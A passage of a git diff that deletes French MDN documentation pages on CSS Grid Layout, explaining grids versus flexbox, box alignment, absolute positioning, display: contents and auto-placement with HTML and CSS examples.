Pour vous familiariser avec le positionnement des éléments d'une grille en utilisant les lignes, vous pouvez essayer de construire certaines dispositions fréquemment utilisées en plaçant des éléments sur des grilles avec plus ou moins de pistes. Il faut garder à l'esprit que, lorsqu'on ne place pas explicitement tous les éléments, les éléments restants seront positionnés automatiquement. Cela peut tout à fait être l'objectif recherché mais si ce n'est pas le cas et que vous voyez un élément à un endroit inapproprié, vérifiez que vous lui avez affecté une position au sein de la grille.

+ +

Il faut aussi se rappeler que lorsqu'on place les éléments explicitement sur la grille, ceux-ci peuvent se chevaucher. Cela permet d'obtenir certains effets mais attention aux erreurs lorsque c'est la mauvaise ligne de début ou de fin qui est indiquée. Pour régler ce problème, on peut utiliser l'outil de mise en évidence de la grille CSS dans Firefox pour analyser une grille compliquée.

+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_concepts_de_base", "Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

diff --git "a/files/fr/web/css/css_grid_layout/mod\303\250le_de_grille_et_autres_mod\303\250les_de_disposition/index.html" "b/files/fr/web/css/css_grid_layout/mod\303\250le_de_grille_et_autres_mod\303\250les_de_disposition/index.html" deleted file mode 100644 index 9f31864e55..0000000000 --- "a/files/fr/web/css/css_grid_layout/mod\303\250le_de_grille_et_autres_mod\303\250les_de_disposition/index.html" +++ /dev/null @@ -1,588 +0,0 @@ ---- -title: Le modèle de grille et les autres modèles de disposition -slug: Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition -tags: - - CSS - - CSS Grids - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive", "Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

- -

Le mode de disposition en grille a été conçu afin de pouvoir fonctionner avec les autres composantes de CSS pour construire un système complet de disposition. Dans ce guide, nous expliquerons comment intégrer une grille CSS parmi d'autres techniques que vous pourriez déjà utiliser.

- -

Les grilles et les boîtes flexibles (flexbox)

- -

La différence fondamentale, entre les grilles et les boîtes flexibles CSS, est que les boîtes flexibles permettent d'organiser du contenu sur une dimension (sur une ligne ou sur une colonne). Les grilles ont été conçues pour une organisation bi-dimensionnelle. Les deux spécifications partagent cependant quelques points communs et si vous savez utiliser les boîtes flexibles, vous retrouverez quelques concepts qui vous aideront à appréhender les grilles CSS.

- -

Disposition sur une dimension ou sur deux dimensions

- -

Voyons un exemple simple pour illustrer la différence entre une disposition sur un seul axe et une disposition sur deux axes.

- -

Dans le premier exemple, on utilise un boîte flexible pour organiser un ensemble de boîte. Le conteneur contient 5 objets fils et on utilise des propriétés afin qu'ils puissent être agrandis/rétrécis avec une base (flex-basis) de 150 pixels.

- -

On utilise aussi la propriété {{cssxref("flex-wrap")}} avec la valeur wrap, afin de créer une nouvelle ligne si le conteneur devient trop étroit pour conserver flex-basis.

- -
- - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -
.wrapper {
-  width: 500px;
-  display: flex;
-  flex-wrap: wrap;
-}
-.wrapper > div {
-  flex: 1 1 150px;
-}
-
-
- -

{{EmbedLiveSample('onedtwod', '500', '230')}}

- -

On peut voir ici que deux objets sont passés sur une nouvelle ligne. Ces objets partagent l'espace disponible sur cette nouvelle ligne et ne s'alignent pas par rapport aux objets de la ligne au-dessus. En effet, lorsque des éléments flexibles passent sur une nouvelle ligne (ou colonne), celle-ci forme un nouveau conteneur et l'espace de ce conteneur est distribué entre les objets.

- -

On se demande alors comment faire pour aligner ces éléments… C'est là qu'intervient la disposition en deux dimensions, pour contrôler l'alignement des lignes et des colonnes : voici la grille.

- -

La même disposition avec une grille CSS

- -

Dans cet exemple, on crée la même disposition en utilisant la grille CSS. Ici, on a trois pistes 1fr. Il n'est pas nécessaire de paramétrer quoi que ce soit sur les objets, ils se disposeront eux-mêmes dans chaque cellule formée par la grille. On peut alors voir que les objets restent dans une grille stricte, avec les lignes et les colonnes qui sont alignées. Avec cinq éléments, on a donc un espace restant à la fin de la deuxième ligne.

- -
- - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-}
-
- -

{{EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170')}}

-
- -

Lorsqu'il s'agit de choisir entre les grilles ou les boîtes flexibles, vous pouvez vous poser les questions suivantes :

- -
    -
  • Ai-je uniquement besoin de contrôler la disposition selon des colonnes ou selon des lignes ? Si oui, mieux vaudra utiliser des boîtes flexibles.
    • -
  • Ai-je besoin de contrôler la disposition selon des colonnes et selon des lignes ? Si oui, mieux vaudra utiliser une grille CSS.
    • -
- -

Organiser l'espace ou organiser le contenu ?

- -

En plus de la distinction sur le nombre de dimensions, on peut prendre un autre angle de vue pour choisir entre les boîtes flexibles et les grilles. Les boîtes flexibles permettent de répartir l'espace de façon équitable autour des éléments d'un conteneur. C'est la taille du contenu qui détermine l'espace occupé par chacun des éléments. Si les objets passent sur une nouvelle ligne, leur espacement sera calculé en fonction de leurs tailles et de l'espace disponible sur cette ligne.

- -

En revanche, les grilles organisent le contenu dans l'espace. Lorsqu'on utilise les grilles CSS, on crée un « plan » et on place les éléments sur ce plan (ou on indique un placement automatique, strict, sur cette grille). Il est possible de créer des pistes (tracks) qui réagissent à la taille du contenu mais cela modifierait alors l'ensemble de la piste.

- -

Si vous utilisez les boîtes flexibles et souhaitez bloquer certains des aspects autour de la flexibilité, vous aurez probablement besoin d'une grille CSS. Par exemple, si vous définissez un objet flexible avec un pourcentage en largeur pour aligner l'objet avec les éléments du dessus, une grille pourrait être plus adaptée.

- -

L'alignement des boîtes

- -

Une des fonctionnalités les plus attendues pour les boîtes flexibles était celle qui permettait enfin de contrôler l'alignement correctement. On pouvait simplement centrer une boîte sur une page. Les éléments flexibles pouvaient être étirés en hauteur dans leurs conteneurs et on pouvait donc obtenir des colonnes avec des hauteurs égales. Il était désormais possible d'éviter des contournements pour obtenir ce résultat.

- -

Les propriétés d'alignement ont été ajoutées à la spécification pour les boîtes flexibles dans une nouvelle spécification intitulée Box Alignment Level 3. Cela signifie qu'elles peuvent être utilisées dans d'autres modules, y compris dans les grilles CSS. À l'avenir, elles pourront éventuellement s'appliquer aux autres méthodes de disposition.

- -

Dans un autre article de cette série, nous verrons comment utiliser l'alignement des boîtes dans une disposition en grille. Pour le moment, voici un exemple simple qui permet de comparer les boîtes flexibles et les grilles.

- -

Dans le premier exemple, on utilise les boîtes flexibles avec un conteneur qui dispose de trois objets. La propriété {{cssxref("min-height")}} est définie et paramètre la hauteur du conteneur flexible. {{cssxref("align-items")}} vaut flex-end pour le conteneur flexible et les objets s'empileront donc jusqu'à l'extrémité du conteneur flexible. On utilise également la propriété {{cssxref("align-self")}} sur box1 afin de surcharger la valeur par défaut et d'étirer jusqu'à la hauteur du conteneur et jusqu'à box2 afin que box1 soit alignée avec le début du conteneur flexible.

- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-</div>
-
- -
.wrapper {
-  display: flex;
-  align-items: flex-end;
-  min-height: 200px;
-}
-.box1 {
-  align-self: stretch;
-}
-.box2 {
-  align-self: flex-start;
-}
-
- -

{{EmbedLiveSample('Box_alignment', '300', '230')}}

- -

L'alignement sur les grilles CSS

- -

Dans cet exemple, on utilise une grille pour créer la même disposition. Cette fois on utilise les propriétés d'alignement des boîtes. On aligne donc par rapport à start et end plutôt que par rapport à flex-start et flex-end. Dans le cas d'une disposition en grille, on aligne les éléments à l'intérieur de leur zone de grille. Dans ce cas, il s'agit d'une seule cellule mais on pourrait très bien construire une zone composée de plusieurs cellules.

- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3,1fr);
-  align-items: end;
-  grid-auto-rows: 200px;
-}.box1 {
-  align-self: stretch;
-}
-.box2 {
-  align-self: start;
-}
-
- -

{{EmbedLiveSample('Alignment_in_CSS_Grids', '200', '310')}}

- -

L'unité fr et flex-basis

- -

On a vu avant l'unité fr qui permet d'affecter aux pistes de la grille une portion de l'espace disponible dans le conteneur. L'unité fr, lorsqu'elle est combinée avec la fonction {{cssxref("minmax()", "minmax()")}} permet d'obtenir un comportement proche des propriétés flex utilisées pour les boîtes flexibles, tout en permettant de créer une disposition sur deux dimensions.

- -

Si on revient sur l'exemple illustrant la différence entre une disposition à une dimension et une disposition à deux dimensions. On voit qu'il y a une différence sur la façon dont les deux dispositions fonctionnent en mode responsive (lorsque les dimensions de la zone d'affichage varient). Avec la disposition flexible, si on redimensionne la disposition ajustera le nombre d'éléments sur chaque ligne en fonction de l'espace disponible. S'il y a beaucoup d'espace, les cinq éléments pourront tenir sur une seule ligne et si l'espace est réduit, on pourra avoir jusqu'à un seul élément par ligne.

- -

En revanche, avec la grille, on a toujours trois pistes qui forment trois colonnes. Les pistes s'élargiront ou se rétrécieront mais il y en aura toujours trois car c'est le nombre de pistes déclaré à la définition de la grille.

- -

Des pistes qui se remplissent automatiquement

- -

On peut créer un effet semblable aux boîtes flexibles tout en gardant l'arrangement en lignes et colonnes grâce à la notation repeat et aux propriétés auto-fill et auto-fit.

- -

Dans l'exemple qui suit, on utilise le mot-clé auto-fill à la place d'un entier dans la fonction repeat et on définit la taille d'une piste à 200 pixels. Cela signifie que la grille créera autant de pistes de 200 pixels en colonnes qu'il est possible d'en placer dans le conteneur.

- - - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(auto-fill, 200px);
-}
-
- -

{{EmbedLiveSample('Auto-filling_grid_tracks', '500', '170')}}

- -

Avoir un nombre de pistes flexible

- -

L'exemple précédent ne se comporte pas comme celui avec les boîtes flexibles. Dans l'exemple avec les boîtes flexibles, les objets qui sont plus larges que la base de 200 pixels avant de passer à la ligne. On peut obtenir le même effet sur une grille en combinant le mot-clé auto-fill et la fonction {{cssxref("minmax()", "minmax()")}}.

- -

Dans l'exemple qui suit, on crée des pistes qui sont remplies automatiquement avec minmax. On souhaite que les pistes mesurent au moins 200 pixels, avec un maximum de 1fr. Lorsque le navigateur a calculé la quantité de colonnes qui tiendraient dans le conteneur (en tenant compte des espaces), il utilisera le maximum 1fr afin de répartir l'espace restant entre les objets.

- - - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
-}
-
- -

{{EmbedLiveSample('A_flexible_number_of_tracks', '500', '170')}}

- -

On peut désormais créer une grille qui dispose d'un nombre flexible de pistes, elles-mêmes flexibles tout en ayant des éléments qui sont disposés sur la grille par rapport à des lignes et à des colonnes.

- -

Les grilles et les éléments positionnés de façon absolue

- -

La grille peut interagir avec les éléments positionnés de façon absolue. Cela peut s'avérer utile si on souhaite positionner un élément dans une grille ou dans une zone donnée de la grille. La spécification définit le comportement lorsqu'une grille est un bloc englobant et que la grille est le parent d'un élément positionné de façon absolue.

- -

Avoir une grille comme bloc englobant

- -

Pour qu'une grille soit un bloc englobant, il faut utiliser la propriété position avec la valeur relative (comme on ferait pour un bloc classique). Une fois que c'est fait, si on utilise position: absolute sur un objet de la grille, son bloc englobant sera la grille. Si l'élément a une position donnée sur la grille, le conteneur sera la zone de la grille sur laquelle il est placé.

- -

Dans l'exemple ci-après, on a un conteneur avec quatre enfants. Le troisième élément est positionné en absolu et est placé sur la grille. La grille, le conteneur, a position: relative et devient donc le contexte de positionnement pour cet objet.

- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">
-    Ce bloc est positionné de façon absolue. Dans cet exemple
-    la grille est le bloc englobant et les valeurs de décalage
-    pour la position sont calculées depuis les bords extérieurs
-    de la zone dans laquelle a été placé l'élément.
-  </div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(4,1fr);
-  grid-auto-rows: 200px;
-  grid-gap: 20px;
-  position: relative;
-}
-.box3 {
-  grid-column-start: 2;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-  position: absolute;
-  top: 40px;
-  left: 40px;
-}
-
- -

{{EmbedLiveSample('A_grid_container_as_containing_block', '500', '330')}}

- -

On peut voir que l'élément prend la zone de la grille entre les lignes 2 et 4, après la ligne 1. Ensuite, il est décalé dans cette zone grâce aux propriétés top et left. Toutefois, il a été retiré du flux, comme d'habitude pour les éléments positionnés en absolu et les règles de placement automatique placent des objets dans la même zone. L'objet n'entraîne pas non plus la création d'une ligne supplémentaire sur la ligne 3.

- -

Si on retire position: absolute des règles sur .box3, on peut voir le résultat qu'on aurait obtenu sans ce positionnement absolu.

- -

Utiliser une grille comme parent

- -

Si l'élément positionné de façon absolue est contenue dans une grille mais que celle-ci ne crée pas de nouveau contexte de positionnement, l'élément sera retiré du flux comme dans l'exemple précédent. Les contextes de positionnement sont créés comme avec les autres méthodes de disposition. Dans l'exemple, si on retire position: relative dans le code précédent, le contexte de positionnement est fourni par la zone d'affichage (le viewport) :

- -

Image of grid container as parent

- -

Là encore, l'élément ne participe plus à la disposition de la grille pour le dimensionnement ou pour le placement des autres éléments.

- -

Utiliser une zone de grille comme parent

- -

Si l'élément positionné de façon absolu est imbriqué dans une zone de la grille, on peut créer un contexte de positionnement pour cette zone. Dans l'exemple qui suit, on utilise la même grille qu'avant sauf que l'élément est imbriqué dans la zone .box3 de la grille.

- -

On indique que .box3 a une position relative puis on positionne l'élément avec des propriétés de décalage. Dans ce cas, le contexte de positionnement est la zone de la grille.

- - - -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois
-    <div class="abspos">
-      Ce bloc est positionné de façon absolue. Dans cet exemple
-      la zone de la grille est le bloc englobant et le positionnement
-      est calculé à partir des bords de la zone de la grille.
-    </div>
-  </div>
-  <div class="box4">Quatre</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(4,1fr);
-  grid-auto-rows: 200px;
-  grid-gap: 20px;
-}
-.box3 {
-  grid-column-start: 2;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-  position: relative;
-}
-.abspos {
-  position: absolute;
-  top: 40px;
-  left: 40px;
-  background-color: rgba(255,255,255,.5);
-  border: 1px solid rgba(0,0,0,0.5);
-  color: #000;
-  padding: 10px;
-}
-
- -

{{EmbedLiveSample('With_a_grid_area_as_the_parent', '500', '420')}}

- -

Utiliser une grille et display: contents

- -

Une autre combinaison notable, en termes de disposition, peut être l'utilisation de display: contents avec les grilles CSS. La valeur contents de la propriété {{cssxref("display")}} est une nouvelle valeur, décrite comme suit dans la spécification Display :

- -
-

L'élément même ne génère aucune boîte mais ses éléments fils, ainsi que les pseudo-éléments, génèrent des boîtes normales. Afin de générer les boîtes et la disposition, l'élément doit être traité comme s'il avait été remplacé par ses éléments fils et ses pseudo-éléments dans l'arbre du document.

-
- -

Si on utilise display: contents sur un élément, la boîte qu'il aurait normalement créé disparaîtra et les boîtes des éléments qui sont ses enfants apparaîtront comme si elles avaient grimpé d'un niveau. Cela signifie que les éléments fils d'un élément d'une grille peuvent, à leur tour, devenir des éléments de cette grille. Un peu perdu-e ? Voici un exemple. Dans le code qui suit, on a une grille dont le premier élément s'étend sur les trois pistes. Cet élément contient trois éléments imbriqués. Ces derniers n'étant pas des enfants directs de la grille, ils ne s'inscrivent pas dans la disposition en grille et sont affichés avec la disposition classique.

- -
- - -
<div class="wrapper">
-  <div class="box box1">
-    <div class="nested">a</div>
-    <div class="nested">b</div>
-    <div class="nested">c</div>
-  </div>
-  <div class="box box2">Deux</div>
-  <div class="box box3">Trois</div>
-  <div class="box box4">Quatre</div>
-  <div class="box box5">Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: minmax(100px, auto);
-}
-.box1 {
-  grid-column-start: 1;
-  grid-column-end: 4;
-}
-
-
- -

{{EmbedLiveSample('Display_Contents_Before', '400', '420')}}

-
- -

Si on ajoute display: contents aux règles qui ciblent box1, la boîte de cet élément disparaîtra et ses sous-éléments deviendront alors des éléments de la grille qui se placeront selon les règles de placement automatiques pour la grille.

- -
- - -
<div class="wrapper">
-  <div class="box box1">
-    <div class="nested">a</div>
-    <div class="nested">b</div>
-    <div class="nested">c</div>
-  </div>
-  <div class="box box2">Deux</div>
-  <div class="box box3">Trois</div>
-  <div class="box box4">Quatre</div>
-  <div class="box box5">Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: minmax(100px, auto);
-}
-.box1 {
-  grid-column-start: 1;
-  grid-column-end: 4;
-  display: contents;
-}
-
- -

{{EmbedLiveSample('Display_Contents_After', '400', '330')}}

-
- -

Cela permet que des éléments imbriqués agissent comme s'ils faisaient partie de la grille. C'est également une méthode de contournement pour certains problèmes qui seront résolus par les « sous-grilles » (subgrids) lorsqu'elles seront implémentées. Vous pouvez également utiliser display: contents de façon similaire avec les boîtes flexibles afin que les éléments imbriqués deviennent des éléments flexibles.

- -

Comme on a pu le voir dans cet article, la disposition avec les grilles CSS n'est qu'un outil parmi d'autres. Il ne faut pas hésiter à combiner différentes méthodes de disposition afin d'obtenir les résultats souhaités.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive", "Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/placement_automatique_sur_une_grille_css/index.html b/files/fr/web/css/css_grid_layout/placement_automatique_sur_une_grille_css/index.html deleted file mode 100644 index 980b03ea62..0000000000 --- a/files/fr/web/css/css_grid_layout/placement_automatique_sur_une_grille_css/index.html +++ /dev/null @@ -1,569 +0,0 @@ ---- -title: Le placement automatique sur une grille CSS -slug: Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

- -

En plus de pouvoir placer des objets de façon précise sur une grille, la spécification pour les grilles CSS définit le comportement obtenu lorsque certains des objets ne sont pas placés sur la grille (voire aucun). Pour voir comment fonctionne le placement automatique, il suffit de créer une grille avec un ensemble d'objets. Sans fournir aucune information de placement, ces objets se placeront chacun sur une cellule de la grille.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -

{{EmbedLiveSample('placement_1', '500', '230')}}

-
- -

Définir des règles pour le placement automatique

- -

Comme on peut le voir dans l'exemple précédent, si on crée une grille sans définir de placement, tous les objets occuperont chacun une cellule de la grille. Par défaut, les objets sont placés au fur et à mesure sur les lignes horizontales de la grille. Si on a créé des lignes supplémentaires avec grid-template-rows, les objets suivants seront placés sur ces lignes. En revanche, si la grille ne possède pas suffisamment de lignes sur la grille explicite, de nouvelles lignes, implicites, seront créées.

- -

Dimensionner les lignes de la grille implicite

- -

Par défaut, les lignes implicites créées automatiquement ont une taille automatique. Autrement dit, elles seront dimensionnées pour contenir les éléments qu'elles doivent placer sans que ceux-ci dépassent.

- -

Il est toutefois possible de contrôler la taille de ces lignes grâce à la propriété grid-auto-rows. Ainsi, si on veut que les lignes créées automatiquement mesurent 100 pixels de haut, on utilisera :

- -
- - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: 100px;
-}
-
- -

{{EmbedLiveSample('placement_2', '500', '330')}}

-
- -

On peut utiliser la fonction {{cssxref("minmax","minmax()")}} pour la valeur de {{cssxref("grid-auto-rows")}} afin de créer des lignes avec une taille minimale mais qui puissent être plus grandes si le contenu est plus grand que cette taille minimale.

- -
- - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre
-    <br>Cette cellule
-    <br>a du contenu
-    <br>supplémentaire
-    <br>et max vaut auto
-    <br>afin que la ligne
-    <br>se développe.
-  </div>
-  <div>Five</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: minmax(100px, auto);
-}
-
- -

{{EmbedLiveSample('placement_3', '500', '330')}}

-
- -

On peut aussi passer en argument une liste de pistes qui se répèteront. Dans l'exemple ci-après, on crée une piste implicite pour une ligne de 100 pixels et une seconde de 200px. Ce motif sera utilisé tant que du contenu sera ajouté à la grille implicite.

- -
- - -
<div class="wrapper">
-   <div>Un</div>
-   <div>Deux</div>
-   <div>Trois</div>
-   <div>Quatre</div>
-   <div>Cinq</div>
-   <div>Six</div>
-   <div>Sept</div>
-   <div>Huit</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: 100px 200px;
-}
-
- -

{{EmbedLiveSample('placement_4', '500', '330')}}

-
- -

Utiliser le placement automatique pour les colonnes

- -

On peut également paramétrer la grille pour que les objets soient placés automatiquement en suivant les colonnes de la grille. Pour obtenir ce résultat, on utilisera la propriété {{cssxref("grid-auto-flow")}} avec la valeur column. Dans ce cas, la grille ajoutera les objets dans les lignes verticales définies avec {{cssxref("grid-template-rows")}}. Lorsqu'une colonne sera pleine, les prochains objets seront placés dans la colonne explicite suivante ou dans une colonne implicite créée automatiquement s'il n'y a plus assez de colonnes explicites. La taille des pistes pour les colonnes implicites peut être définie avec {{cssxref("grid-auto-columns")}}, cette dernière fonctionne de façon analogue à {{cssxref("grid-auto-rows")}}.

- -

Dans le prochain exemple, on crée une grille avec trois lignes qui mesurent chacune 200 pixels de haut. On utilise le placement automatique en colonne. La première colonne qui sera créée mesurera 300 pixels de large, ensuite on aura une colonne de 100 pixels de large et ainsi de suite jusqu'à ce que tous les éléments puissent être placés.

- -
-
.wrapper {
-  display: grid;
-  grid-template-rows: repeat(3, 200px);
-  grid-gap: 10px;
-  grid-auto-flow: column;
-  grid-auto-columns: 300px 100px;
-}
-
- - - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-  <div>Six</div>
-  <div>Sept</div>
-  <div>Huit</div>
-</div>
-
- -

{{EmbedLiveSample('placement_5', '500', '640')}}

-
- -

L'ordre des éléments placés automatiquement

- -

Une grille peut contenir un mélange d'éléments. Certains éléments peuvent avoir une position définie et d'autres être placés automatiquement. Ce placement automatique peut s'avérer utile lorsque l'ordre des éléments dans le document est celui qu'on veut utiliser pour organiser la grille : il n'y a alors pas besoin d'écrire de règles CSS pour positionner les éléments un par un. La spécification détaille exhaustivement l'algorithme de placement des objets sur la grille, mais voyons ici les quelques règles simples qu'il faut principalement retenir.

- -

Modification de l'ordre du document

- -

Le placement des éléments qui n'ont pas eu d'ordre défini sont placés selon l'algorithme décrit dans la section  “order modified document order”. Cela signifie que si on utilise uniquement la propriété order, les éléments seront placés selon cet ordre plutôt que selon l'ordre indiqué par le DOM. Sinon, l'ordre des éléments sera celui décrit par le document source.

- -

Les éléments avec des propriétés de placement

- -

La grille commencera par placer les éléments pour lesquels on a défini une position. Dans l'exemple qui suit, on a une grille avec 12 éléments, l'élément 2 et l'élément 5 sont placés en utilisant les lignes. On put voir comment ces deux éléments sont placés et comment les autres sont placés automatiquement dans les espaces restants. Les objets placés automatiquement seront placés avant les éléments qui sont placés, dans l'ordre du DOM.

- -
- - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-  <div>Six</div>
-  <div>Sept</div>
-  <div>Huit</div>
-  <div>Neuf</div>
-  <div>Dix</div>
-  <div>Onze</div>
-  <div>Douze</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(4, 1fr);
-  grid-auto-rows: 100px;
-  grid-gap: 10px;
-}
-.wrapper div:nth-child(2) {
-  grid-column: 3;
-  grid-row: 2 / 4;
-}
-.wrapper div:nth-child(5) {
-  grid-column: 1 / 3;
-  grid-row: 1 / 3;
-}
-
- -

{{EmbedLiveSample('placement_6', '500', '450')}}

-
- -

Gérer les éléments qui s'étalent sur plusieurs pistes

- -

On peut utiliser les propriétés de placement tout en tirant parti du placement automatique. Dans le prochain exemple, on complète la disposition en indiquant que les éléments 1, 4 et 9 (4n+1) doivent occuper deux pistes, pour les colonnes et pour les lignes. Pour obtenir ce résultat, on utilise les propriétés {{cssxref("grid-column-end")}} et {{cssxref("grid-row-end")}} avec la valeur span 2. La ligne de début sera déterminée automatiquement et la ligne de fin sera deux pistes plus loin.

- -

On peut voir coment cela laisse des espaces dans la grille car lorsqu'un élément placé automatiquement n'a pas suffisamment de place sur une piste, une nouvelle ligne sera créée jusqu'à ce que l'élément ait la place.

- -
- - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-  <div>Six</div>
-  <div>Sept</div>
-  <div>Huit</div>
-  <div>Neuf</div>
-  <div>Dix</div>
-  <div>Onze</div>
-  <div>Douze</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(4, 1fr);
-  grid-auto-rows: 100px;
-  grid-gap: 10px;
-}
-.wrapper div:nth-child(4n+1) {
-  grid-column-end: span 2;
-  grid-row-end: span 2;
-  background-color: #ffa94d;
-}
-.wrapper div:nth-child(2) {
-  grid-column: 3;
-  grid-row: 2 / 4;
-}
-.wrapper div:nth-child(5) {
-  grid-column: 1 / 3;
-  grid-row: 1 / 3;
-}
-
- -

{{EmbedLiveSample('placement_7', '500', '770')}}

-
- -

Combler les espaces

- -

En dehors des éléments placés explicitement, la grille place les éléments automatiques en respectant l'ordre du DOM. C'est généralement le résultat qu'on souhaite lorsqu'on met en forme un document comme un formulaire. Toutefois on veut parfois obtenir une disposition plus dense, sans vide entre les différents éléments.

- -

Pour cela, sur le conteneur, on ajoute la propriété {{cssxref("grid-auto-flow")}} avec la valeur dense. C'est la même propriété qu'on utilise pour modifier l'ordre du flux avec column. On peut aussi obtenir une disposition dense, rangée par colonne en utilisant les deux valeurs pour la propriété : grid-auto-flow: column dense.

- -

Avec cette valeur, la grille cherchera donc à combler les espaces qu'elle a laissés quitte à ne pas respecter l'ordre du DOM. En revanche, l'ordre de la navigation au clavier (tab order) suivra toujours l'ordre du document. Nous étudierons cet aspect plus en détails dans un article sur l'accessibilité.

- -
- - -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-  <div>Six</div>
-  <div>Sept</div>
-  <div>Huit</div>
-  <div>Neuf</div>
-  <div>Dix</div>
-  <div>Onze</div>
-  <div>Douze</div>
-</div>
-
- -
.wrapper div:nth-child(4n+1) {
-  grid-column-end: span 2;
-  grid-row-end: span 2;
-  background-color: #ffa94d;
-}
-.wrapper div:nth-child(2) {
-  grid-column: 3;
-  grid-row: 2 / 4;
-}
-.wrapper div:nth-child(5) {
-  grid-column: 1 / 3;
-  grid-row: 1 / 3;
-}
-.wrapper {
-  display: grid;
-  grid-template-columns: repeat(4, 1fr);
-  grid-auto-rows: 100px;
-  grid-gap: 10px;
-  grid-auto-flow: dense;
-}
-
- -

{{EmbedLiveSample('placement_8', '500', '730')}}

-
- -

Les éléments anonymes de la grille

- -

Dans la spécification, on utilise le concept d'élément anonyme. Ces éléments sont ceux qui sont créés lorsqu'on a une chaîne de caractères dans le conteneur de la grille et que celle-ci n'est pas contenue dans un autre élément. Dans l'exemple ci-après, on a trois éléments sur la grille : le premier est un élément anonyme car il n'est placé dans aucun élément, il sera alors placé automatiquement. Les deux éléments suivants sont placés dans des div et peuvent être placés automatiquement ou grâce à une autre méthode de positionnement.

- -
<div class="grid">
-  Je suis une chaîne de caractères et je serai placé
-  automatiquement.
-  <div>Un élément de la grille</div>
-  <div>Un élément de la grille</div>
-</div>
-
- -

Les éléments anonymes sont toujours placés automatiquement car on ne peut pas les cibler autrement. Aussi, si on a du texte sans balise dans la grille, il faut se rappeler que celui-ci peut être placé à un endroit imprévu du fait des règles de placement automatique.

- -

